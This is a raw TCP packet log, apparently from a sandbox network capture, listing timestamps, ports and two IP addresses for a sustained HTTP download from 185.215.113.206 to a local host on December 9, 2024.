Dec 9, 2024 18:20:39.027153969 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.027198076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.027223110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.027265072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.028105974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.028148890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.028264046 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.028306961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.029124022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.029169083 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.029282093 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.029325962 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.030093908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.030139923 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.030219078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.030260086 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.031112909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.031161070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.031215906 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.031255960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.032098055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.032140017 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.032335043 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.032377005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.033101082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.033145905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.033205986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.033246994 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.033999920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.034044027 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.034288883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.034332991 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.035022974 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.035067081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.035120964 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.035165071 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.035954952 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.035999060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.036026955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.036065102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.036901951 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.036947012 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.037043095 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.037086964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.038067102 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.038115025 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.038265944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.038311005 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.038897038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.038943052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.038965940 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.039009094 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.039872885 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.039918900 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.039942026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.039987087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.040803909 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.040853024 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.040973902 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.041021109 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.041764021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.041812897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.041887999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.041934013 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.042776108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.042824984 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.042898893 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.042943001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.043719053 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.043766975 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.043819904 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.043864965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.044725895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.044771910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.044872999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.044918060 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.045681953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.045726061 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.045825958 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.045875072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.046638966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.046683073 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.046788931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.046834946 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.047637939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.047688961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.047766924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.047811031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.048656940 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.048706055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.048729897 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.048769951 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.049556971 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.049603939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.049700022 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.049748898 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.050556898 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.050601006 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.050674915 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.050719976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.051510096 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.051554918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.051644087 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.051688910 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.052479982 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.052551031 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.052618027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.052659988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.053450108 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.053499937 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.053590059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.053636074 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.054457903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.054505110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.054529905 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.054569960 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.055598021 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.055644035 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.055813074 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.055859089 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.056674957 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.056723118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.119157076 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.119219065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.119365931 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.119420052 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.119703054 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.119754076 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.150916100 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.150969982 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.150993109 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.151026964 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.151273966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.151321888 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.151367903 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.151413918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.151931047 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.151973963 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.151994944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.152036905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.152467966 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.152514935 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.152542114 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.152585030 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.153626919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.153671980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.153714895 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.153762102 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.154560089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.154608011 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.154671907 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.154711008 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.155500889 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.155546904 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.204253912 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.204308987 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.204372883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.204411983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.204643965 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.204654932 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.204720974 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.205657959 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.205704927 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.205760002 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.205804110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.206413984 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.206459999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.206682920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.206726074 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.206836939 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.206886053 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.207761049 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.207813978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.207880020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.207925081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.208770990 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.208813906 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.208977938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.209022999 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.209666014 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.209712029 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.209827900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.209872961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.210625887 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.210670948 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.210740089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.210789919 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.211580992 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.211630106 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.211743116 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.211791039 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.212594986 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.212641001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.212800980 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.212867022 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.213835955 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.213879108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.214030027 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.214077950 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.215516090 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.215562105 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.215579987 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.215620995 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.216458082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.216502905 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.216576099 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.216619015 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.217540026 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.217583895 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.217704058 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.217750072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.218601942 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.218641996 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.218708038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.218750954 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.219413042 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.219456911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.219611883 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.219655037 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.221674919 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.221740961 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.221760988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.221793890 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.223083019 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.223133087 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.223165035 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.223206997 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.224409103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.224453926 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.224526882 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.224572897 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.225141048 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.225187063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.225254059 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.225291967 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.225996017 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.226042986 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.226136923 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.226180077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.226769924 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.226814985 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.226833105 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.226877928 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.243330956 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.243385077 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.243516922 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.243556976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.243681908 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.243720055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.273930073 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.274007082 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.274036884 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.274220943 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.274296999 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.274377108 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.274396896 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.274456978 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.274522066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.274580956 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.275568008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.275641918 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.275662899 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.275738955 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.276293993 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.276343107 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.276372910 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.276416063 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.277102947 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.277146101 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.277323961 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.277369976 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.278033018 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.278079033 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.278211117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.278255939 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.279031038 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.279076099 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.279190063 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.279236078 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.279987097 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.280034065 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.280082941 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.280127048 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.281018972 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.281059980 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.281177998 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.281224966 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.281924963 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.281979084 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.282037020 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.282082081 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.283106089 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.283150911 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.283216953 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.283262968 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.283889055 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.283935070 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.284006119 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.284049988 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.284837008 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.284888983 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.284953117 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.285001040 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.286179066 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.286226034 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.286387920 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.286432981 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.287347078 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.287394047 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.287467003 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.287511110 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.288256884 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.288305998 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.288326979 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.288368940 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.289863110 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.289907932 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.290056944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.290101051 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.291649103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.291696072 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.291723013 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.291771889 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.292432070 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.292478085 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.292546988 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.292593002 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.294019938 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.294083118 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.294450045 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.294496059 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.295393944 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.295444965 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.295500040 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.295546055 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.296200037 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.296253920 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.296274900 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:39.296314001 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:39.297018051 CET	80	49788	185.215.113.206	192.168.2.6
